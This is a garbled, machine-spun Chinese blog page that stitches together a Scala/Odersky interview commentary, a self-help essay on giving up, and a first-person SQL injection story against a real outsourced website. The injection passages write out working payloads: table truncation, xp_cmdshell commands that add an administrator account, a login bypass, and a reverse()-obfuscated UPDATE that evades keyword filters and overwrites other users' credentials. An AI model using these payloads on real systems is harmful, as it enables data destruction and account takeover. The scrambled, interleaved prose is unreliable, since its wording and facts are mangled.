仍然整站打印SQL到Html里,在一月发布了,/风信子逸轩

Martin Odersky

故事A段:发现整站SQL对外出口:

中和:/风信子逸轩

ThoughtWorks的TW洞见当7月公告了对Scala之父Martin
Odersky的访谈
。Odersky的答应出示言简意赅,仔细分析,依旧能从中得到累累包含的音信(尽管可能是负面的信)。提问的中坚重点是言语的怎么样。Scala是均等流派极有吸重力的语言,似乎天生具备同样种气质,轻易可以吸粉,但招黑的力啊非遑多吃。它像是起象牙塔里钻出来的,但还要以众大型项目和活受到拿到了行。有人转发了她,又有人之后背弃了其。即使说Ruby的助力是Rails,那么推动着Scala在社区中成长之,其实到处可见Spark的影。

 

-1-

实际上各类一个人依然相当贪心的,既想奋力将活过得五彩缤纷,对情侣义气相挺、希望生再度多之时陪伴家人,又想以工作就可以。小人创业,什么想法、商机都想尝试,找不至温馨的中坚竞争力,不知疲倦地盲目试错。于是乎,许多少人一连揽了重重事务在身上,通常为因而各国起事还无是开得生好。

坐不廉,我们盲目地认识人、扩充无效的交际;更因为不廉,我们平常毫无节制地追更多;接受的信息再多,获取知识之管道又多,让咱能挑选的事体还多。我们的注意力让进一步多的APP、社交媒体所诱惑,在这么的条件下,大家什么还惦念关注,什么都想打听,于是变得我们什么还惦记假如,却愈发劳累,学非汇合挑选。

万一当大家被迫采用的事情更是多,我们所做的仲裁质地就愈加差。大家更是长大,越设理解丢弃,因为登时是人生的必修课题。做其他工作,我们还使首先考虑,“啊是针对而太重点之?”再者,你得了然多数事情实在仍旧烦扰,也未是相当必要之从事,因为只有少数的事务才是特地发价之。

大家务必承受取舍之有血有肉,大家不容许啊还兼备,或者什么都想去开。当我们什么还想念借使,什么都想做好,什么都惦念全盘,最终的结果就是呀都做糟糕。以对的时空做对的事务,这才是保神速之重大规律。

可是,一个两难的现状是,斯帕克(Spark)(Spark)的博源代码并从未以Scala推崇的特级实践。Odersky对那么些的表达是:

有个朋友的网站,由于是外包项目,费城某商店支出之,某龙自己协理他检测了须臾间网站相关情状。

-2-

盲目地承诺,答应了不少跳咱们力量的政工,即使大家的时日曾不允许再多答应那些工作,仍旧将她承载下来。便来说,我们明确心理知道没有人是不可代替的,但每每依然惦记声明一下友好的价。又要不忍、不知底什么拒绝旁人的要求,最终的结果也是啊都不曾做好,或是成果不若预期。

当旁人指出呼吁的时候,先去现场,给协调一点工夫动脑筋。不要急在诺别人的伸手,要学会逃离、学会给自己养空间。接着,你一旦注意请求者的弦外之音、资讯,找寻更多的音讯,以之来判断这宗事是勿是真要紧的事体,是休是公可知的政工?

比方上学拒绝别人的种与雅地说“”,要学会社交的窘迫与空域。假使您明白地领略好无法就的从,要连忙地“say
no
”,令人家起双重多之时去挑选其他的方案。人生是绵绵做采用的进程,你无挑,别人就会为你选,因而如果造好开要决策的力量。

人生之年华、资源少,大家不该瞎忙地做“再多的从事”,而是要静下情感想还采用做“对的事”。这不是独自为少开一些事务的精选,而是做事前都设起计划、深度思考,选拔做必要之转业,把宝贵的时光与生命力投入到绝值得的物上。由个体的生存做打,继而以在干活上之选,突破工作之瓶颈,重要的事先做,进步办事之效率与成果,让我们换得再好。

我们由小至异常被的傅还是一旦多努力多坚韧不拔、永不言败、永不遗弃,但立即真是针对之吗?实则过多时段,我们重待学会怎么废弃,因为学会放任就是明咋样做最好之抉择。为了过得重好,就设学会废弃,把真的来价之事情完了最好好。

斯帕克(Spark)(Spark)的API设计是跟Scala
集合类设计是同等的函数式风格,里面具体的实现为追求性所以了命令式,你可看看Scala集合里面的兑现函数为了性为由此了好多var。

本人查了页面源代码,发现了个耸人听闻的事体,竟然整站打印SQL到Html里,着实吓自己同样领先:

-3-

俺们尽薄了“变成第一”这桩事,平时第一叫以及第十名的得利,大概距离了10加倍。第一称与第一百称之盈余,大概距离了100倍。大家设无就是是“化第一”,要么就是是舍本求末。当我们深受问到,近期全球排行第一的搜寻引擎是啦一样小店铺出的?几乎各样一个总人口且相会回话是“谷歌”。

只是有人假设问世界排行第二之搜引擎是哪家公司,可以管答案报是的几乎统领或卓殊小,因为我们天生不会关注除了第一称呼之外的东西。大家常记得首先誉为,而忽略第二名叫。头名叫总是顶给欢迎,获利最充足。很多中标学的书籍,甚至网路上的群“鸡汤文”、“干货文”等,都叫我们决不随便抛弃。然则假设我们精心去思想,就会面发觉,有时候放任才是针对之。

我们无是使遗弃长期政策,而是一旦摒弃无法凑效的战术。放弃,并无意味着失利。事实上,聪明地丢弃才是避败北的绝佳形式。摒弃比非适于输要好得多。因为抛弃可以被咱更审视自己,可以叫大家出会,把其他工作做得更好。有时候挡在我们前边的,其实是咱的自尊。因为传统观念告诉咱们,吐弃是一律种植失败者的显示。

若大家讨厌被贴上“失败者”的签,可是要记得“绝不放任”是一个良差劲的提出。当我们针对各起事都非吐弃的时刻,大家老爱把咱的资源及时间耗光。就此驾驭吐弃,我们才发机会在某某擅长的圈子及完成首屈一指。

就说不定是Scala采用多范式的重中之重缘由吧。就算Scala借鉴了累累函数式语言的特点,例如Scheme和Haskell,但Scala并没有强制大家于编写代码时严酷按照FP的准绳。我们用在OO与FP之间画一修线。在代码的细节层面,Scala要求我们力图编写没有副功用(引用透明),提供组合子抽象的函数式风格代码;但是在一部分景下,又同意我们让位于OO的统治。

PS:2年前秋色园体系著作发生分享同柔和是整站SQL打印用于分析网站性能,然而也只是当地优化调试,而服务器上啊采取某特种规则才打印。

-4-

此外,当我们想丢弃的时,大家应问自己两只问题:第一只凡是,我惊惶失措了啊?甭当道束手无策的时节采取丢弃,因为我们当慌乱的早晚,往往会做出错误的裁定。第二独凡是,我想念影响什么人?在放任在此之前,思考一下,大家只要影响之是私有,是市面,仍旧那些世界。这样会方便辅助我们梳理自己的笔触,思考大家脚下在做的行,到底该不该放弃。

老三独凡是,我正做哪一种而评量的开展?而评量的举办,不自然是凭加薪或升官。大家要对友好正值做的事情来和好的评量标准,如果评量标准是成材之,那么累召开就从未问题,我们相应假若遗弃的是这多少个没有意义的从。最终的基本点是,放弃,要尽量以起前。因为中途才放弃,等于白无功。

大家不容许啊事情还足以就极致好,我们的对象应该是在某个圈子里形成“首屈一指”,并遗弃那多少个会于咱走上前死胡同的从业。可是成为第一底总人口永远都是少数,大多数的人数还不曾主意成为第一,因为发最多的原由,阻碍我们失去变成第一。

咱俩丢弃的由来,通常暴发以下七单:第一只是,因为尚马时间,所以抛弃。骨子里大家并无是无工夫,在青春的当儿,很多丁当自己之光阴还有多,所以有些工作晚点做吗从不关联。但当交大家发现后,才惊觉大家年纪都大了,已经远非心情和重力去追求已经的巴了。

Scala属于语言中的“骑墙派”,只要您足足高明,就能以OO与FP中跳转如意,怡然自得,如鱼儿得水。所谓“骑墙”,反倒成为了有超强适应能力的“从心所欲”,何乐而不为?

乃将当时赤祼祼的对外祖父开的SQL问题展现了千古,之后竟撤消了。 

-5-

亚个放弃的因是,因为少钱,所以放任。没有钱时是遮我们赶梦想最普遍的藉口。因为尚未钱,所以不敢创业;因为从没钱,所以依旧事先连续上班;因为没钱,所以我们的盼望几乎不容许实现。可有时最着重的,不是因我们有无暴发钱,而是咱们是不是愿意起来、是否愿意迈出第一步。

其八只放任的原委是,因为惧怕,所以放弃。即社会及会生过三个人惧被贴上功亏一篑的竹签。其实远非人喜欢败北,更非相干话给粘上“失败者”的标签。只是大家平时遗忘,那个光鲜亮丽的功成名就背后,经常是没戏叠起来的。有些人害怕失败,从此一蹶不振,而有些人能够大胆面对挫折,从失败中总括经验,从而迈向成功之台阶。

季只放弃的来头是,因为没有认真对此事,所以舍弃。会见招致这由之绝老题材在于,我们是不是确实很渴望成功,是否大牵挂使管这档子事情办好,是否全身心地做这件事。因为当大家一向不充足渴望、没有那些记挂要、没有全身心地开就桩事经常,我们尽管未会师认真对。

使说,倘使我们尚无至极一集市重病,我们尽管非会见坏认真地对自己的正规;要是我们的爹娘年纪尚并未好到频临死亡,我们恐怕就是不汇合特别认真地对,静下心来陪伴自己之大人。大家鞭长莫及认真对待此事的突出老原因,平日就是咱平昔不怪器重就无异于项事。

Odersky在访谈中援引了Databricks给有之Scala编码规范,还有lihaoyi的文章Strategic
Scala Style: Principle of Least
Power

图片 1

-6-

第五单丢弃的原故是,因为去兴趣或热枕,或甘愿安于平时,所以吐弃。咱会见去兴趣或热枕的极端老原因,在于我们不可以辨别我们失去举办某项事,到底是盖我们的兴趣或热枕,依旧因为我们的好奇心,或者从众激情。很多丁可能同起初针对有项事大有趣味,不过举办了一会儿过后,就再为提不从强大了。

第八只舍弃的来头是,因为近视近利,没有长时间的打算,所以放弃。大家日常以短时间现象变得紧巴巴的时光,就废弃了。假诺我们并未一劳永逸的打算,没有开周祥的计划、缺少韧性,只考虑短时间的纯收入,大家就是不能去做实在来价之事。因为若光考虑到长期,我们虽会师坐利益也落脚点,而坐利吗出发点所做的从,不可能发生很怪之热枕。

第七单放弃的原委是,我们采用错了成第一的战场。想必大家平昔没有面的才,然则却怀想在某一方面压倒一切。每个人与生俱来还出属于自己之天生,我们务必找到自己真的擅长的天赋,才不会师采取错了战地。

从而,方向比努力再关键。不过好当同一码事开以前,我们不怕可以判断前方凡是低谷仍然死胡同。虽然是死胡同,我们便设当机立断放任;倘使是低谷,大家虽活该选坚贞不屈下去。假如我们思量如若摒弃,最好于起初前摒弃,因为中途丢弃当白无功。事情做错了可以弥补,一件工作失利了足以尝试新的方,可是人生永远只是出雷同糟。

只要我们阅读Databricks给有的编码规范,会发现Databricks为了性考虑,更倾向被接纳命令式格局去下Scala,例如,规范指出利用while循环,而不for循环或者其余函数转换(map、foreach)。

故事B段:错误相当打印了SQL,诱人: 

-7-

我们在生活中,时刻都当放任与得中做取舍,我们以接二连三眼巴巴在得到,渴望在占有,平常忽略了废弃,忽略了占据的反面是割舍。了然了放弃的真意,也便亮了「失之东隅,收之桑榆」的真理。精晓了放任的宿愿,静观万物,体会与世风一样博大的程度,大家本会清楚及时地有着舍,这正是我们获取內心平衡,得到快乐的好法子。

在有时会迫使你,不得不交出权力,不得不放走机遇,甚至只好拋下爱情。你莫可能呀都赢得,生活着该学会放弃。丢弃会使您来得大方豪爽。吐弃会如您冷静主动,抛弃会给你变得重新了然及另行发出能力。

而是,抛弃並非易事,需要充裕相当的胆气。面对不少不得为底从,勇于舍弃,是明智的采纳。唯有坚决地丢弃,才会重复轻松投入新在,才会师生新的觉察与转机。由此在被尽紧缺不了,其实是割舍。

世上,取的弃的是并行伴随的,有所弃才享有收获。人的一生是吐弃与争得的冲突统一体,潇洒地丢弃不必要的名利,执着地追好之人生目的。学会丢弃,本身就是相同种淘汰,一栽选用,淘汰掉好的缺陷,选拔好的顽强、最有把握的事。

val arr = // array of ints
// zero out even positions
val newArr = list.zipWithIndex.map { case (elem, i) =>
  if (i % 2 == 0) 0 else elem
}

// This is a high performance version of the above
val newArr = new Array[Int](arr.length)
var i = 0
val len = newArr.length
while (i < len) {
  newArr(i) = if (i % 2 == 0) 0 else arr(i)
  i += 1
}

 

-8-

人之真情实意连接期待有所得,以为有的事物更多,自己便会合更心情舒畅,人之常情就迫使我们沿着追寻获取的路途走下去。大家望穿秋水有的物太多了,或者太执着了,不知不觉之中我们曾执迷于某个事物上了。

晓丢弃才发生欢快,背着包袱走路总是非常辛苦。放任,并无是免缅想上进,而适用的舍,正是为了还好地先进,常言道:退一步,海阔天空。

趁年华的滋长,一个人口得到挑衅自己的机遇会越来越少。这频繁并无是年歧视,而重复多的凡市面创建调配的必然结果。只有这多少个有特机会之食指才可以连尝试新的在。所以我们以能怎么收拾?办法唯有就是是竭尽呆在温馨之“学习区”里,并且天天对“舒适区”保持警觉。

一旦无记挂当回忆自己毕生时怨叹自己虚度光阴、不曾忠于自己的生活。其实,决定我们幸福与不幸福的、快乐与不快乐的,不在于我们是何人,正在召开什么,有啊资源,而在大家怎么想。高达龙无会师赐予我们喜欢,也无相会予以大家痛苦,它只会给我们在的材料。

唯独就是自己个人的习惯,更倾向于前者(使用zipWithIndex结合map),它利用更简明的函数式风格。鱼与熊掌,不可兼得!这是一个题材!规范从可读性角度考虑,不指出使用Monadic
Chaining。例如,下边的代码应用连续两独flatMap:

过了稍稍天,我又抽空看了拘留:

一经调出什么味道的人生,其实就在于我们自己之精选。
class Person(val data: Map[String, String])
val database = Map[String, Person]()
// Sometimes the client can store "null" value in the  store "address"

// A monadic chaining approach
def getAddress(name: String): Option[String] = {
  database.get(name).flatMap { elem =>
    elem.data.get("address")
      .flatMap(Option.apply)  // handle null value
  }
}

土生土长路径也:http://www.xxx.com/s-l—-333.html,我随意加了个引号:

正规提出,改写吧更富有可读性的措施:

图片 2 

// A more readable approach, despite much longer
def getAddress(name: String): Option[String] = {
  if (!database.contains(name)) {
    return None
  }

  database(name).data.get("address") match {
    case Some(null) => None  // handle null value
    case Some(addr) => Option(addr)
    case None => None
  }
}

间接打印SQL?这不是滋生诱人犯罪么?好吧,当时被诱惑了一晃,花了不怎么半龙煎熬了弹指间。

尽管选取情势匹配(Pattern
Match)确实是挺好的Scala实践,但不怕这么些事例而言,其实Monadic
Chaining的方得以据此for comprehension来转写。至极简单,可读性极佳:

 

for {
    elem <- database.get(name)
    addr <- elem.data.get("address")
} yield addr

故事C段:发现发简要的SQL关键字过滤: 

这就是说,这样的正经是否是好之Scala实践吧?Odersky用“保守”一乐章来评论这无异于业内,不知该本意如何?

 

lihaoyi的文章Strategic Scala Style: Principle of Least
Power
匪是一个规范,而是相同客Scala最佳实践。内容囊括对不变性与可变性、接口设计、数据类型、非常处理、异步、依赖注入的剖析及指出。值得一念。

随意加了单“and“条件,发现来过滤一些重要字: 

马丁 Odersky言简意赅地吃起了少单编写Scala代码的准:

 图片 3 

  • 尽心尽力用力量弱的效能;
  • 受中步骤命名。

下一场反复检测,发现过滤了:and select,update,delete等重要字。

对此第一点,我个人的解是于采纳Scala特性的早晚,要小心控制,不要错过耍来Scala语法中这个奇技淫巧,从而给代码变得别扭难了然。Twitter的有些工程师之所以对scala拿到出微词,多数呕吐槽点就是当代码的可读性和维护性方面。第二触及同样是为缓解此题材。Twitter的文档Effective
Scala
于是例子阐释了呢中等步骤命名的关键。如下例子:

 

val votes = Seq(("scala", 1), ("java", 4), ("scala", 10), ("scala", 1), ("python", 10))
val orderedVotes = votes
  .groupBy(_._1)
  .map { case (which, counts) => 
    (which, counts.foldLeft(0)(_ + _._2))
  }.toSeq
  .sortBy(_._2)
  .reverse

故事D段:发现可以履打定义语句,但SQL账号似乎没有SA权限或者是关门了xp_cmdshell服务: 

如此的代码即便简单,却未可以好好地显示作者的企图。尽管适龄地受跟中档步骤命名,意义就是越透亮了。

乃我组了同一长长的truncate table xxx,当然,这是单非在的表名: 

val votesByLang = votes groupBy { case (lang, _) => lang }
val sumByLang = votesByLang map { case (lang, counts) =>
  val countsOnly = counts map { case (_, count) => count }
  (lang, countsOnly.sum)
}
val orderedVotes = sumByLang.toSeq
  .sortBy { case (_, count) => count }
  .reverse

http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;truncate%20table%20abc;– 

Odersky在访谈中说到了有的对前景Scala的统筹,包括Tasty与Dotty,前者是为解决Scala二迈入制未兼容问题,Dotty则是也Scala提供新的编译器。不过,Odersky的答复令人黯然,二者的真的推出还需要拭目以待几年时。

 

几乎年岁月什么!再过几年,Scala会也成为明天黄花呢?至少Java的腾飞趋势已起来威逼Scala了。而JVM的朝三暮四是否以会师尤其吧Scala的变异造成障碍吗?假若还要考虑版本包容问题,Scala的前途本遭遇堪忧啊。想想我都也Odersky感到厌烦啊。

试了产,执行好,没报什么提醒,太害怕了。

不过Scala又未克去JVM,否则Scala与Java兼容带来的福利就熄灭了。庞大之Java社区一直是Scala可以得出的资源也。Scala会否成也JVM,败为JVM呢?

既然可以执行打定义语句,这执行下提权语句看看:

坦白说,这么些访谈没有供极多Scala的滋养(不知是不是翻译的题材),总觉得Odersky在给一些有关语言的深入问题平常,显得闪烁其词。虽然Odersky搬起了沃尔玛米利坚、高盛、摩尔根Stanley来压制阵,却反倒让自己底气不足的感觉到。Scala糟糕的局部仍旧十分多了,它会伤我们对Scala做出科学地认清。Scala待化解之题材如故尽多了,lightbend任重而道远。归根结蒂,从平先河,Odersky没有对准Scala特性做出具有控制力的规划,紧缺收敛,导致成千上万feature良莠不齐,败坏了Scala的声。

http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell ‘net user test 1234
http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell ‘net localgroup administrators test /add

尚好发一个斯帕克(Spark),是斯帕克(Spark)拯救了Scala。可惜,斯帕克(Spark)(Spark)的编码规范也休拥有Scala范儿。

 


意识并未啥指示,不过账号不由效,所以估摸sql的账号没有sa权限可以调用xp_cmdshell,此外这里,由于–符号被用来划分隔字符串,所以不起功能。

题图:来自ThoughtWorks洞见小说《SCALA之父MARTIN
ODERSKY访谈录》中之马丁(Martin) Odersky。

故事E段:发现登陆有显著的SQL漏洞: 

 

过了点时间,我就非磨了,我打算注册个账号看看其他情状。 


暨了登陆页,发现报还要绑定手机号,我哪怕无报了,于是以登陆里随手将了一个广阔的a’
or 1=1–

图片 4

甚至报密码错误,吓我同越,表达用户称注入了,只是密码那拉错误。 

 

故事F段:发现验证码还在Cookie里: 

 

通过拦截请求信息,发现又奇葩之行:

图片 5

 

验证码还直接放在Cookie里,这。。。

故事G段:破解用户密码: 

 

既用户称好注入,为底密码还报错误?

图片 6

由此荒谬的语法,看了一晃对方的SQL语句,猜出了主导的代码逻辑:

 

因用户名查出了账号音信,取有底数据的密码重跟密码相比较。

 

协会注入语句,发现密码为md5存储: 

 

既然如此可以注入,这里就能够尽报告句了,于是,使用普通的语句为个账号登陆试试。
同等起首自己构造了标准化:
username=a’  or password=’123456′–&password=123456&verifycode=5020 
考虑到用弱密码123456的非凡多,我便试了生,发现无做头,本来还想写个爆破弱口令的账号。
后来沉思,这密码,一般仍旧加密的,所以我一旦解对方的加密方法。
经反复构造类似下边的语句:
username=a’  or len(password)=16–&password=123456&verifycode=5020
末段确定了啊md5加密存储。
于是乎将123456 md5时而成:
username=a’  or password=’49ba59abbe56e057′–&password=123456&verifycode=5020

 

无悟出,来了只以下坑爹的指示:

图片 7 

尝试了下许三个账号,都是那种景观,这提示太坑爹,忽悠了本人。

PS:其实是账号通过了,直接将回去的Cookie就得进用户的,然而我受晃了,以为莫可用。

返的库克ie,实际为是加密的,所以,这种措施,看不到手机号,所以没法直接省略的登陆。

重新社团SQL注入语句,成立属于自己之账号和密码: 

乃,我思透过结构更新语句,把某某账号的手机号和密码都更新一下,然后又自己登陆进。
就此,我不怕必尽类似于:update xxx set username=’13811114444′,password=’888888′ where uid=10003
由过滤掉update,所以一从来是深的,本来由还算是编码成16上制折腾,发现转16向前制麻烦,也疲乏的开vs折腾。
遂自己想开了一个简易的道,把报告句反过来写,再用reverse函数把报句子转过来执行。

 

最终便改成了以下函数:

username=13430330585′;declare @A varchar(200);set @A=reverse(”’58803303431”=emanresu erehw ”9d4d9c1ac9814f08”=drowssaP tes xxx tadpu’);exec(@A);–&password=88888888&verifycode=2222

 

实施后,发现都是重临“当前账号就冷冻,请联系客户”这句大忽悠的语。。。

伤害的自身碰了N个账号,最终以里面一个登陆了,才察觉凡是正规的。

图片 8

 

新生告诉了对方发生SQL注入漏洞,末了汇报说用SQL工具检测正常,无语。

双重后来虽示例告诉了对方,修正了这多少个漏洞后,我就是写文分享了。 

 

 

总结:

1:验证码怎么好放Cookie里?

2:SQL语句怎么好轻易打印给他人看?

3:SQL注入检测怎么能光靠工具? 

4:防SQL注入怎么能凭借几独简易的要字过滤?

 

增补截图:

图片 9 

相关文章